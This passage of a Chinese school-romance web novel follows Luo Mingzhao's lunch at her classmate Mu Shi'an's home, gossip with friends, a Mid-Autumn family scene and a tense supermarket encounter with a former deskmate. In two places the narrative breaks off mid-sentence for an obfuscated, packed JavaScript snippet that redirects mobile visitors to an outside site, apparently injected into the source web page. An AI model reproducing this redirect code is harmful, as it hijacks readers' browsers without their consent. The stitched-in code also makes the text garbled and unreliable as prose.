嗯?他已经困到走错楼层了吗?这就是他家吧? 牧时桉深邃眉眼间满是疑问,骆眀昭也差不多,歪过头愣着瞧他。 “你在那站着干嘛?”最后是骆眀昭实在忍不住,好奇问他。 跟个门神似的。 牧时桉闻声又思绪清明几分,伸手拉住敞开着的门,把手中外套挂在玄关衣架上,换鞋进家。 “你怎么在我家?”牧时桉走近问道。 孙惠正好从厨房端菜出来,听见自家儿子不冷不淡的语气,没好气地说:“你那什么态度,人家昭昭来家里吃饭,对人家礼貌点。” 牧时桉不可置否,朝冰箱走过去,拿了两瓶冰镇矿泉水,递给骆眀昭一瓶:“给。” 骆眀昭接过水瓶没喝,双手握着,看着牧时桉拧开瓶盖,扬起头灌了一大口,下颚线锐利分明,喉结随着吞咽而上下滚动。 她偏过头,生硬地错开目光。 人确实帅,静下来时有些死板,少了几分灵气,但动起来就有画龙点睛般的质变产生。 牧时桉没察觉到她的目光,只是心间泛出几股异样情绪。 他想得太出神,若是他能反应过来,就会惊讶与自己当下的行为有种孔雀开屏的刻意感。 放下水瓶,他朝沙发那走去几步,落坐在骆眀昭旁边的单人沙发上。 骆眀昭捏着矿泉水,开口解释道:“这周末我爸妈临时去了我姥爷家,就让我这两天在你家吃饭。” “是这样。”牧时桉了然。 极度简单的对话结束后,客厅里陷入一阵诡异的安静,两人都默着没说话。 骆眀昭看着自然,微微垂下眼,实际上内心早已纠结咆哮老半天。 大哥,你说话啊!这是你家啊!拿出点主人的态度来,咱俩难道就在这大眼瞪小眼? 气氛尴尬地骆眀昭止不住地手脚蜷缩,也是怪,平时在学校或是在放学路上都好好的,怎么这一下子跟刚见面的陌生人似的。 牧时桉斜靠着沙发,面上无波无澜,但实际上,大脑早就已经宕机停止运转,也许是因为睡眠不够,或是别的什么,他知道当下气氛很怪,但却怎么都张不开口。 骆眀昭大脑也似乎被什么卡住,运行地很缓慢,停顿须臾,她总算想起刚刚的确有事想问:“我给你的火鸡面,你还没吃呢?” 牧时桉下意识转头,视线落在卧室柜上,午间的阳光正洒在塑料包装袋上,反出亮莹莹的光点,他敛眸,堂堂正正地说了句:“不会煮。” 骆眀昭:? 不会煮你自豪吗?你丫不会上网查吗?真是眉毛底下挂俩蛋。 骆眀昭顿时被噎住,双臂在胸前抱着,两只手不禁搓着露出的手臂。 实话讲,骆眀昭一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603003|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得自己算得上情绪相当之稳定的人,负面情绪来得快去得快,更鲜少生气,可一瞧见他那副悠哉又没个正形的样,她拳头就不自觉握紧。 好欠打。 牧时桉微微抬起眉梢,忽地偏过头,在她看不见的地方,噙着笑。 每每逗她,他都觉得很有意思。 若是骆眀昭此时此刻能读懂他的心,必要痛斥,这跟小学男生贱巴巴去故意揪女生的辫子的行为有什么区别! 可惜她不懂,所以只能认为,牧少爷就是本性如此。 骆眀昭咬着后槽牙,唇部翕动,压下情绪说道:“没事,有时间我教你——” “孩子们去洗手,来吃饭啦!”正说着,厨房那边推开门,孙惠唤道。 牧时桉站起身:“走吧,洗手。” 房间布局是一样的,洗手间跟她家同位置,两人走近门口,牧时桉微微扬了下巴,示意她先去,骆眀昭也没跟他客气,先一步进去,用洗手泡沫仔细搓着手指,又用清水冲干净。 她也不知道该用哪个毛巾,就随意甩了甩水,正要出去,门口牧时桉递出包抽纸在她面前,骆眀昭心领神会抽了两张,把手掌的水珠擦个干净。 刚走到饭桌前,孙惠就拉着她坐下,骆眀昭垂眼瞧见饭桌上四个炒菜一个凉菜,丰盛地摆满一桌,也来了食欲。 “昭昭吃多少自己盛啊。”孙惠指着电饭锅,说完又进厨房去端什么,再出来时,手里多了一盘炸小酥肉,看着金黄酥脆。 牧时桉这会儿也来到饭桌前,步子像是朝着骆眀昭对面的位置走,中途却不知怎么,最后落坐在她旁边。 骆眀昭紧紧提起的心脏一瞬间安心,这位置好,她不刻意转头瞧不见他吃饭。 她站起身,好心情地去盛米饭,按下按钮锅盖弹起,她拿着勺子,回过头问:“你吃多少,我帮你盛。” “半碗吧,谢谢。”他说。 骆眀昭先替牧时桉盛了半碗,放在他面前,又小心翼翼地给自己盛了多半碗,大概就是比他多一勺的程度,毕竟在别人家,不能像在自己家那么放肆。 刚想着帮孙惠盛,就先一把被拿过饭铲:“阿姨自己来就行,谁像那臭小子那么懒。” “不等牧叔叔吗? “他中午有饭局,就咱们三个。” 骆眀昭笑笑,坐下拿起筷子就准备吃饭,不得不说孙惠做得确实丰盛,尖椒肉丝、烧茄子、清炒菠菜、西红柿炒鸡蛋,外加一盘炸酥肉,估计是因为她来而特意做的。 “昭昭,想吃什么就自己夹啊,”孙惠招呼着,“可以尝尝阿姨这个酥肉,不是外面买的,是阿姨自己做的。” 自己做的? 骆眀昭起了兴趣,伸出筷子夹起一块,盘子旁还放着小碟的甜辣酱,她沾了沾,送入口中。 因为刚从空气炸锅出炉,一口下去都能听到“咔嚓”一声,肉香四溢,这种新鲜的炸物简直是仙品,骆眀昭好吃得眼睛都瞪圆,毫不吝啬着自己的赞美:“阿姨,太好吃了,比外面买的都好吃。” 得到正面反馈的孙惠也不禁笑弯了眼,脸上喜滋滋的。 她挺喜欢做饭的,但家里丈夫在家吃饭也不多,牧时桉又是一副要死不活的样子,就偶尔小姑子梁若璇会来做客捧场,但公婆管她紧,频率也不算高。 好不容易来了个识货的食客,她高兴还来不及。 孙惠嘴角翘着老高:“好吃就多吃点啊。” 牧时桉望着她们之间的对话,隐隐地也升起些好奇,这酥肉他吃过,孙惠偶尔会做,但对他来说,也就是炸物的味道而已。 好奇心被激发,他也伸出筷子,夹起一块酥肉慢悠悠嚼着。 味道不错,但很特别吗? 此时在孙惠的视角中,两个孩子同时吃着一份肉,一个捧场成那样,一个跟机器人似的面无表情,尤其这假人还是自己亲儿子,她顿时就气不打一处来。 下一秒她就抓住盘子边,“噌”一下把它挪到骆眀昭面前。 “你吃什么,不识货的东西!”又跟川剧变脸一般,跟骆眀昭说,“昭昭你吃。” 牧时桉:? 17. 荞麦冷面 整顿饭,骆眀昭都吃得小心翼翼,孙惠几乎把所有菜都推到她面前。 留在自己亲儿子手边,就只剩半碗米饭,牧时桉也没抗议,就那么默默吃着,时不时目光落于身侧。 “昭昭多吃点啊。” “阿姨,您也吃啊。” 孙惠看着她吃饭心满意足,感觉自己就已经饱了,在饭桌上又坐一会儿,便起身准备回去睡午觉:“阿姨吃饱了,昭昭你慢慢吃,吃完放那让时桉收拾就行。” 说完,就放下手中碗筷,起身回到卧室补觉,脚步声后又是“咣”一声,门被关住,饭桌上就剩下骆眀昭和牧时桉两个人。 骆眀昭侧过身,目光移向身边的少年,手里还捏住筷子:“孙阿姨真热情,你没吃饱吧?”随后又伸手把菜都推过去。 “那你呢?”他没头没脑忽然问。 骆眀昭愣怔:“什么?” 牧时桉撑着脑袋,斜坐餐椅面向她,淡淡地说着:“你没吃饱。” 他说的是肯定句,骆眀昭拿着筷子的手一顿,也不明白他怎么就这么笃定。 只不过他说得还真不错,她当下也就吃个半饱,别看她好像一直在夹菜,实际上每次都是一小小口,她塞牙缝还不够。 “你咋知道?”她有表现得很明显吗? 牧时桉脑中一瞬间浮现出,女生平日里在学校食堂埋头苦吃的场景,虽然梁若璇使用小姑特权硬性分成男女两队,但他们他们总是离着不远,他其实都能看到。 对他来说那场面有点像电视剧,或是旁的什么,总之有趣地让人移不开眼。 半晌,在骆眀昭明晃晃地期待眼神中,他却回道:“因为你有好品质。” “哈?什么玩意?” “不剩饭啊,林雨彤的剩饭不都是你处理的吗。” 我谢谢你,你没事吧。 啥意思,说我是剩菜处理机? 还不是林雨彤成天减肥减脂,剩半餐盘的菜她看着都可惜,只能主动承担起打扫任务。骆眀昭耳根涨得通红,燥热上涌,却见牧时桉只是漫不经心地看着她。 不是阴阳怪气,牧时桉的表情里好似透着几分真诚,他就是这么想的。 他不解:“怎么感觉你下一秒就要爆炸?” 心理上,骆眀昭心底从未对自己的爱好而感到难以启齿,爱吃饭饭量大又有什么丢人。但青春期似乎某种生理上的反应在揪着她,好像是在自作主张替她感到难堪。 骆眀昭从小就吃得就多一点,不过爱跑爱动,所以即便馋嘴骆家父母也从没有拘着她,和善的亲戚都说能吃是福,不过总有例外,会说出些没劲的话,比如,再这么吃,以后家里就养不起你啦,诸如此类。 小时候不管不顾的,即便听到也就当做耳旁风处理,但慢慢大了些,大概是到身旁姐妹开始对外表上心、对他人评价上心时,大家会刻意压缩食量,或是开始做各种运动,那时她才隐隐感到自我怀疑。 她是不是也要学着这样做啊? 餐厅陷入短暂地寂静中,牧时桉瞧着她好像陷进某种情绪中,没来由地心乱。 “你生气了?”他打破僵局。 骆眀昭回过神来,赶紧甩甩脑袋:“没有,没有。” 牧时桉补充说:“我没有别的意思,我觉得这样很好,人只有吃饱才有力气,不剩饭也很环保。” 骆眀昭望着他黑曜石般的瞳孔出神,她第一次瞧见这么真挚的他。 “我就是想到之前困住自己的一件事,”她开口解释道,“不过老早之前我就想清楚啦。” 他忽然有点好奇:“能问吗?” 骆眀昭垂眸,搓搓手里的筷子,无所谓道:“没啥,就是曾经因为吃得多感觉自己略微有些丢人,感觉大家都在变得更好,我是不是也该控制一下,让自己更招人喜欢什么的。” 停顿片刻,她又说:“但这种没有标准答案的内卷是无穷无尽的,总会有更完美更受喜欢的人,我要是吃不饱我状态就不好,有些人为自我汲取能量的方式是得到别人的认同,我就是吃,其实这么想想我挺赚的,他们有毅力有决心能为了保持美丽而运动节食,我只靠吃,也算是一种走捷径的方式吧。” 牧时桉没想到骆眀昭会说这么多,也没想到仅仅是有关吃这一件事,就会让人产生如此复杂的念头。 从前的人生经历中,他鲜少有主动探究某事的经验,更多时候他都是直接套用前人总结好的经验去生活,通俗来讲,大概就是只求结果,忽略过程。 这是他第一次,完整听到人对于一件事情的心路历程。 牧时桉听得有些发愣,骆眀昭打量他几眼,察觉到他好像在出神:“那什么,我是不是有点话多啦?我就是随便说说,快吃饭吧。” “没有,我觉得很有意思,”他斟酌了几秒用词,“而且你也不胖,不需要保持身材。” 她当然不胖! 骆眀昭自从上了高中,就在一百零七斤上下徘徊,她自我感觉很满意。 她被说的有些飘,笑得洋洋得意:“那是当然喽。” 牧时桉:“所以吃吧,我妈午休会睡很久,你可以慢慢吃,不着急。” 不知为何,骆眀昭自我感觉,心脏好像少跳半秒,随之牵着她呼吸一滞。 她原本只是觉得,这个有些怪怪的新朋友,像是对什么都不在意一样。 但他察觉到了,自己是因为长辈而略感不自在,骆眀昭不知道该怎么总结这种心情,大概是欣喜,因为看到他的另一面。 她拿起筷子,发自肺腑:“那我可就不客气了啊。” 那个午后,骆眀昭悠哉地吃了很久,牧时桉就在一旁坐着,时不时会有几句聊天,这大概是虽有汉堡哥在身边,但她却吃得最满足的一顿。 - 平静的一个下午,骆眀昭独自坐在窗边的书桌上写着作业,直到五点多时,林雨彤居然微信联系她,说晚上要不要出去吃饭。 【昭昭是我:是本人吗?】 骆眀昭低着头戳着屏幕,林雨彤居然主动出门干饭,稀奇。 【rainy:你就说来不来吧,我还叫了梁若璇。】 骆眀昭犹豫了一会儿。 【昭昭是我:你等我问问哈。】 【rainy:你问谁啊?你爸妈不是平时都是宽容的吗?】 等在约定的韩餐店见面,经过一番拷问,林雨彤终于知道她去问谁。 她瞪着眼睛:“你在牧时桉家吃的饭啊?” 梁若璇也没想到:“我嫂子都没跟我说,早知道我也去蹭饭了。” 骆眀昭把骆齐王乐萍暂时把她托付给孙惠的事大概解释一番,出门前她不太好意思地上楼报备,好在孙惠没太在意,就让她回家时跟自己说一声就行。 “哇,你俩这什么情况?这算什么命中注定相遇又结识啊,”林雨彤兴奋地小声尖叫,“你看自从校区合并后,你们接二连三巧遇,然后同考场同班,甚至还是楼上楼下领居,现在都已经见家长吃饭了……” 梁若璇也在一旁搭茬:“我也发现,我大侄子自从认识昭昭,也变得有些不一样喽。” “打住!”骆眀昭赶紧制止她们肆无忌惮的拉郎行为,“你俩真是,我要再不阻止你们,超话说不定马上就给我俩建好了,我俩就是普通朋友而已。” 但磕到上头的两人完全听不进她的话,凑到一块当着正主面议论。 “你说她俩CP名应该叫什么?我觉得应该叫昭昭牧牧。”梁若璇说。 林雨彤提了个更炸裂的:“我觉得,叫牛马CP。” 嘿,听听这都像话吗! 骆眀昭忍无可忍,手动捂住坐在自己 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“真的就只是纯友谊,非问我什么感觉,就是大帅哥一枚,其他没别的。”骆眀昭老实澄清着。 “真的就这样?” “就这样。” CP正主急于撇清关系,梁若璇冷不丁有点小失落,托着下巴用筷子有一搭没一搭地戳着冰碴:“我本来还想说你要有危机意识,周围喜欢我大侄子的人可多啦。” 这不是很正常吗?毕竟脸在那。 林雨彤八卦心涌起:“比如?” “就比如,”她停顿片刻,大概是脑海中小人乱斗着,最后分享欲强的小人最终获胜,“好了,我实话说了吧,就昭昭你之前的同桌胡晓月,她就喜欢牧时桉。” 林雨彤、骆眀昭:“什么?” 记忆中忽然浮现女生那张恬静的面孔,骆眀昭愣在那:“你怎么知道的。” 梁若璇觉得,如果胡晓月没有再告诉过别人,那么在今天之前,大概全世界知道事的就只有她吧。 梁若璇也就是偶然中发现的,其实胡晓月藏得很好,完全瞧不出来,她总是安静一个人独坐在后排,牧时桉也爱坐后排,就某次宋晓随便点了两人去拿卷子,就刚好点到他俩。 那次梁若璇正好生理痛捂着肚子从卫生间出来,刚好撞见两人在走廊上,她站着的位置是视觉死角,她能看见两人,但是对面瞧不见她,梁若璇痛得不行,本想叫住牧时桉让她带自己回班,却刚好瞧见她小步跟在男生身后,藏都藏不住的目光。 “……然后我也没叫他,就偷偷躲回卫生间里了。”梁若璇说着。 林雨彤不解:“你为什么没出去啊?” 梁若璇被问的一愣,猛低被呛住,忍不住低头咳嗽好几声,整个双肩都在颤。 骆眀昭赶紧用手轻拍着她的后背:“没事吧小璇。” “没事,”梁若璇笑着摆摆手,又不自觉地叹口气,“主要是她明亮纯粹的眼神啊,我隔着老远都能瞧见,平时看着性子温吞,但那一次感觉她整个人都不太一样,我也不忍心破坏,那种感觉我懂的。” “所以她上次跟骆眀昭甩脸,是因为牧时桉吗?”林雨彤有些恍然大悟,但还是站在姐妹这边,“为个男的,她不至于吧。” 梁若璇靠着椅背,眼皮轻掀,嘴唇不自觉抿着:“我跟她接触过几次,其实我觉得她不太像那样刻薄的人,所以我说是不是有什么隐情。不过,我今天说的事,你们都必须保密知道吗,无论她人到底是什么样的,这事不许出去说。” 林雨彤抱着胸,了然:“你当我是什么人啊。” 骆眀昭也跟着点头,但心间仿佛被什么堵住,那种难以言喻的涩意,压得她喘不过气来。 她不知道该怎么形容那种心情,但就是觉得不舒服。 18. 奶黄流心月饼 高中生活就是小考连着大考,似乎时时刻刻都离不开那几张薄薄的考卷,周练试卷甚至还没讲评完,月考又来临,月考只算小考,不分考场,学生只要在教室里把桌子拉出间距就好 好在月考后将会度过一个长达八天的假期,中秋国庆相连,每名学生的脸上,都带着丝憧憬和跃跃欲试,什么调休、什么作业他们抛在脑后,那不是他们当下该考虑的问题。 节前最后的晚自习结束后,校园里格外闹腾,九月底,放眼望去所有人都换上了秋季校服。 梁若璇挽着林雨彤的胳膊走出教学楼,眺望着远处骆眀昭的身影,斜后方半步之遥,牧时桉跟在她身后,安静走着。 “她最近很奇怪。”梁若璇忽地说道。 林雨彤赞同着点头,故作柯南沉思状:“是非常的奇怪,是从什么时候开始的呢?” 明面上,骆眀昭还是那个骆眀昭,可细想之下处处都透着些古怪。 那么爱吃饭的一个人,时不时会看到她走神的画面,撑着脑袋又不知道在想什么,一到放学就玩失踪,微信不回,游戏不上,分享给她的短视频已读不回,问她也只是说睡着了没看到,或者作业太多她没时间看手机。 最怪的是今天晚饭结束后,牧时桉忽地把她俩叫到无人处,问的问题居然是:他这段时间是不是做错什么,惹到骆眀昭不开心?因为她最近对他的态度总是不咸不淡的,好像是在刻意保持距离。 她们还以为是骆眀昭只对她俩这样,没想到这么一视同仁。 据牧时桉说,近期他跟骆眀昭回家都是分头行动,出校门不久,骆眀昭就被骆齐接走,就没他同行过。 “好像,就是从那周?咱们一起去吃冷面那个周末以后,她就着一直这幅模样。”梁若璇歪头靠在林雨彤肩上,喃喃道。 林雨彤也仿佛灵光一现:“好像是哎,可为什么啊?那次有发生什么事吗?” 时隔两周,她也记不太清楚细节,两人就这么溜达至停车区,忽地梁若璇想到什么:“对了,我那天告诉了你们那件事,就……” 她伸手比了个很隐晦的拇指爱心,林雨彤顿时理解,梁若璇思绪散得很开,不一会儿就又说:“你说会不会昭昭知道了那件事,然后自觉追求真爱的路上充满艰难险阻,于是起了后退的心思……” “停,你平时磕CP太多傻了吧,”林雨彤在她脑袋顶上拍拍,试图把她脑子里那些不干不净的东西清理干净,“我又不是不了解骆眀昭,她就是跟牧时桉虐恋三百年也不至于这样好吗,更何况这俩人目前也没什么水花。” 梁若璇闪身离开她的巴掌禁锢,把水杯放进车筐中,就去推自己的电动车:“我纯属胡说的,这是我最近看的言情小说的剧情,你瞧瞧你这人一点都不幽默。” “反正小长假,咱们有时间看她到底什么情况。”林雨彤推着小电驴。 梁若璇跟着点头:“有道理。” 目光放远,又有几个学生向着这片存车区走过来,梁若璇垂下眼,脑中某个雷达嗡嗡作响,吵得她喘不上气,林雨彤还在旁边说着,她默不作声地调整自己的姿态和表情,又是一副生人勿近的模样。 出校门骑车到街口,梁若璇就跟林雨彤挥手告别,各自朝着一个方向行进。 梁若璇把车锁在车棚中,备着书包安静地上了电梯,推开门时,玄关门口静静地摆放着两双拖鞋,一双男士拖鞋是梁父的,另一双拖鞋是梁若璇自己的。 看到梁父的鞋,像是将心中的一块大石头就这么提起来,她换了鞋紧攥着双肩包带走进房间,这个点梁母都洗漱完休息了,梁若璇做着她的日常流程,推开父母卧室门。 “妈,我回来了。”她软下声线,温声说。 梁母带着老花镜在刷视频,闻声扬起头:“回来啦,这么晚了早点去休息吧。” “嗯,”梁若璇手握在把手上犹豫着,片刻后终于决心开口问,“妈,这么晚了?我爸呢?又去跟人喝酒啦?” 她手指紧攥着,她怕,怕听到她不想听到的答案。 夜灯昏暗,梁母看不清她脸上闪过的情绪,说:“哦,你爸跟朋友去了外地,明天才回来呢。” 真的!她瞪亮了双眼。 就像猛地一瞬间将她从地狱捞上天堂,那种飘飘然脚下腾空的感觉,让人欣喜。 但面上,她仍是平静的:“哦,知道了,那我回房间啦。” “嗯,早点休息啊,明天过节你哥他们早早就会过来的——” 关上门,梁若璇恨不得当下就激动地打一场军体拳,她压下欣喜,轻手轻脚地回到自己房间里,她把自己的房间门锁好,从抽屉里翻出一块遮光的布来,轻车熟路地挂在卧室门上的那块磨砂玻璃上,遮挡完全。 然后她便撒了欢,把书包随意往脚下一丢,从书柜里翻找出自己的Switch。 - 假期头天,骆眀昭就被迫起了个大早,房间外面叮叮咣咣不知在忙些什么。 她揉着眼睛走出房间,客厅里王乐萍正在插着腰指挥骆齐:“你拿它干嘛,还嫌拿的东西不够多是不是?” “我怕爸那没有嘛。”骆齐满脸无辜。 王乐萍咬着后槽牙:“我爸还不至于家里连点大米都没有。” “哎呀,这个是五常大米,昨儿赵哥给我拿的,好吃就给爸也拿点呗……” 他一直跟唐僧似的念叨着,王乐萍终于受不了,无奈妥协:“行行行,你拿,到时候你自己往楼上搬啊……” 骆眀昭打着哈欠,走到餐柜那,给自己接了小半杯温水下肚,感觉整个人神清气爽。 “你们要走了?”骆眀昭放下水杯,又一屁股坐在沙发上。 王乐萍闻声转过头:“马上,等你爸磨蹭完,我们就走。” 那次骆姥爷出事,夫妻两个赶回去以后,才知道原来骆姥爷是遇上了电信诈骗。 骗子装银行工作人员,说他银行卡流水有问题被暂时冻结,然后在经过一番操作解冻,老爷子没意识到不对劲乖乖按着骗子说的做,不过好在去银行转钱的那一步,被工作人员识破及时报了警。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603005|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王乐萍也是个急性子,回去后没忍住,就跟老爷子大吵一架。 女儿父亲一个比一个倔,从回绮城后就这么一直僵持到今天,骆齐看不下去,主动说中秋节回去陪老爷子过。 骆眀昭则是留在这边,陪爷爷奶奶过中秋,毕竟是中秋团圆,老人身边没小辈怎么能行。 别看王乐萍看着强势,从老爷子那回来之后,总是一个人悄悄抹眼泪,委屈得不行,整个人颓着。骆眀昭父女两个一商量,就决定多陪陪她,工作日骆眀昭上学没什么时间,就由骆齐来,周末一家人又去逛街看电影,这一套下来,王乐萍才慢慢心情好了些。 骆眀昭窝在沙发上,感觉家里的气氛终于恢复到正常水平,自己的状态好了不少。 王乐萍的委屈她懂,这次是诈骗,那下一次呢? 怎么能不后怕。 其实开始那几年,她也是不理解姥爷为什么总是那么执着留在那,不肯跟着女儿走,还是某一次骆齐告诉她,姥爷舍不得自己生活一辈子的地方,那里还有他跟妻子的回忆在。 所以这一次,骆眀昭也能理解姥爷的做法,他只是太过急切地想证明自己,证明他仍有解决突发事件的能力,他不需要别人的照顾,他能自己独立生活,他还没老。 要带回给老爷子的东西收拾完毕,王乐萍指着餐桌上的那些大小礼盒,跟骆眀昭嘱咐着:“你中午记得把这些东西带到爷爷奶奶家,你就打个车过去。” “知道啦,啰嗦。”骆眀昭撅撅嘴,抱着抱枕悄悄嘀咕。 王乐萍顺风耳了不得:“啧,听见了啊。” 哎呀,原来听到了? 时间差不多,骆齐也回屋换上了出门的衣服,骆眀昭起身正准备送他们,王乐萍却倏地走到餐桌边,从中拿起个礼盒,把盒盖掀开,里面小巧地放着八块月饼。 “这是头年,咱家不在一块过中秋,但起码有个仪式,”她从里面拿出块精致的月饼,递给骆眀昭,“你来掰吧,掰三小块,咱们三个同吃一块,就当庆祝中秋了。” 骆眀昭瞧着月饼上印着的字,诧异着。 这不是她老早就想吃的那个流心奶黄月饼吗…… 但爆贵,她真心舍不得。 王乐萍还在一边碎碎念:“你爸前两天给你买的,听你一直念叨,头都大了。” 骆齐也笑着,示意她赶紧动手。 爱意会在一瞬间猝不及防填满人的心脏,骆眀昭被这突然的感动搞得心房酸胀,她伸手轻轻用力,月饼就被分成三份。 绮城凉,月饼掰开后没有那种流心的感觉,她缓缓将那一小块送进口中,奶黄香气涌上来,几年前她吃过一次这个,从那之后她就忘不掉这个味道。 不过今天以后,这个味道也会赋予它新的团圆意义。 这边骆眀昭边嚼着边还陷在感动里,王女士冷冰冰的一句话给她浇醒。 “这小月饼可贵着呢,你慢慢吃啊,最好再给我留几块,我也觉得好吃。” 王女士,真的是破坏气氛大王。 19. 巨峰葡萄 爷孙间本就是隔辈亲,只要有骆眀昭在,骆齐夫妇中秋不在也不是怎么大问题。 更何况亲家公那边也该有人在,他们理解的。 只要回爷爷奶奶家,从进家门开始就开始享受着皇帝似的待遇,各种水果零食摆茶几,吃饭时碗里也被夹上小山般高的菜,一个劲宝贝地叫。 骆眀昭再三稳定道心,才没有在诱惑下迷失自我,临出门时把奶奶塞给她的零用钱悄悄放回桌上。自从上了高中,她的零用钱从以十为单位华丽升级到以百为单位,对骆眀昭来说已经是相当够用的程度,不需要长辈额外支持的。 离开爷奶家也才三四点,骆眀昭溜达到巷口公交车站,站台空荡就她一个人孤零零等车,她从毛绒的手提包里翻出耳机盒,挂在耳朵上。 闲来无事她坐在长椅上,跟自己带着小熊耳朵的棕色手提包大眼瞪小眼,时不时还要摆弄一番,这包跟拎着一只小熊抱枕有什么区别。 她是喜欢可爱元素的小物件,但也不知道去年林雨彤怎么如此恶趣味,生日礼物直接送给她这么个小手提包,她一方面又爱不释手却又有些偶感羞耻带出门。 毕竟十七八岁正是装酷的年纪,恨不得离幼稚可爱越远越好,今天也不知道怎么突发奇想,忽地就想带它出门。 不知道,小姐妹们现在都在做些什么呢? 骆眀昭低下头翻出微信,置顶群聊名称叫“女子突击队”,这是她跟林雨彤、梁若璇的小群。 她慢悠悠翻上去,好像全是她俩的对话,自己已经有好几天都没参与过聊天,最新一条终止于前天晚上,骆眀昭指尖在屏幕空悬着,却半天没有敲下字符。 算了,再缓缓吧。 当下她似乎还有些心结没能解开,骆眀昭不希望自己像竹筒倒豆子般,一股脑把负面情绪都带给她们,这也是她这段时间刻意跟她们保持距离的原因,她希望自己能做个带来积极与阳光的朋友,而不是无止尽地跟人倒苦水。 公交车缓缓朝着她行进过来,骆眀昭站起身,车厢里似乎人也不太多,她捏着一卡通,“哔”刷卡上车,她随便找了个靠窗的位置,耳机里随机播放出欢快的节奏,她看向窗外,心情也跟着明快几分。 爷奶家位置比较远,除了坐公交,她还需要中途倒地铁,到了换乘站,骆眀昭就下车往地铁站走。 这一带是繁华地段,下车便是大型商场的大门,偶尔跟林雨彤出来看电影逛街会来这边,可能因为是节假日,肉眼可及之处全是人,原本的空地上还架起来个兔子形状的灯,节日气氛满分。 骆眀昭视线被吸引,脚步不断减慢,直到停下步伐。 要不,去逛逛吧,索性没事,下一秒她就调转方向,径直朝商场大门前进。 即便是一个人,仪式感也不能少,她先去给自己买了杯奶茶,边喝边随意逛着。 路过盲盒店时没忍住拿了两盒新品收入囊中。 慢悠悠又逛到地下一层,这边新开了家大超市,骆眀昭推着个购物车走了进去,琳琅满目的商品货架看得她眼花缭乱,转到后排回过神来,才发现如果把车里的商品都拿下的话,她大概率是会破产。 于是她选择场外求助。 昭昭是我:【妈咪,穷穷,钱钱。】 发送成功后还跟购物车拍了个大合照,很快就收到对面回复。 幸福小王:【从你爷爷那离开了?】 昭昭是我:【是的,妈咪。】 幸福小王:【没给你塞钱?】 昭昭是我:【我没要哦,妈咪。】 幸福小王:【不错。】 一分钟后,对面就发来个四百块的转账,骆眀昭心满意足地点下收款。 刚要收起手机,冷不丁又来了个微信通知,她亮起屏幕。 幸福小王:【还有,别腻腻歪歪的。】 不是她之前说求人办事要嘴甜一些吗?自己这可是将她的教导贯彻到底。 收起手机,骆眀昭推着购物车在超市里闲逛,走到水果区,映入脸帘货架上摆满一整排巨峰葡萄,个大饱满,正是吃葡萄的季节,骆眀昭用一旁试吃区挑了个干净的葡萄,试吃后的下一秒,当机立断决定购入。 旁边没人,她悠闲地站在货架前挑选着,几乎把每盒都拿起来瞧了瞧。 还在犹豫当中,身后不远处几名女性的声音,还在朝着她越走越近,骆眀昭挑得认真,没太在意周边,等她下一秒抓起葡萄准备塞进购物车里时,半米远的货架旁,却站着个熟悉的身影。 “胡晓月?”骆眀昭愣怔着喃喃道。 她出声叫住刹那,胡晓月也呆愣着看她,大概是没想到小长假第一天会在这种地方偶遇。自从换了同桌,两个人就再也没说过话。 “月月,你认识啊?”不等两人反应过来,身后穿来一声老妇人的问询,骆眀昭下意识地回头,瞧见一名跟自家奶奶差不多的长辈。 胡晓月手里还帮忙拎着东西,她回过神来,冲着自己奶奶点头:“奶奶,这个是……我们班同学。” 骆眀昭捧着葡萄,随即自然地露出个笑来:“奶奶,你好,我叫骆眀昭,是晓月的同学。” 胡母也跟在婆婆身边,很快骆眀昭感受到一种让人很不舒服地凝视,顺着看回去,胡母认出骆眀昭是谁,大概是因为心虚,很不自然地扭开目光。 骆眀昭朝着她们回应礼貌的笑意,心里却一万个问号飘过。 胡晓月奶奶身侧的那位,看年纪大概就是她的妈妈,自己曾经有见过她吗?她总感觉胡母看着她的眼神有些怪。 听说是胡晓月的同学,老妇人看向骆眀昭的目光也更和蔼几分。 “小姑娘怎么自己在逛超市啊?” 骆眀昭老实回答:“我正好路过这边,家里没什么吃的了,进来逛逛。” “要不让晓月陪陪你,跟我们这群老婆子一块逛也挺没意思的。”她笑着说。 老人大概是以为两人是多么要好的关系,骆眀昭还不知如何回应,那一边胡母却暗自拽了拽自己婆婆的衣角,很不认同地轻声道:“妈。” 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骆眀昭熟络地挽着她的胳膊,另一手拉着推车:“走吧,陪我去逛逛方便面吧,我家里都没什么吃的啦。” 望着两个少女往粮油区越走越远,等到她们拐向货架间瞧不见的地方,胡母终于忍不住:“妈,那姑娘就不是什么正经孩子,再给咱们月月带坏啦。” 胡奶奶敛起笑容,冷着说:“你这就知道了?你非要在月月正交朋友的年纪,跟老母鸡护小鸡一样拦着,等到将来你就得后悔。” - 骆眀昭拽着胡晓月来到速食品货架前,身后琳琅满目的包装让人眼花。 离开长辈的视线,骆眀昭也顺手放下了拉着她的手。 胡晓月站在她面前,声音有些僵:“你想跟我说什么?” 明明个高的人是胡晓月,小矮子骆眀昭却叉着腰明显更理直气壮一点,正准备说些什么,身边不断有顾客经过,骆眀昭干脆拽着她来到货架角落无人处。 刚刚那一番她也看明白了,胡晓月眼神闪躲、行为不自然明显就是心虚的表情,相比之下,胡母才是堂而皇之地反感。 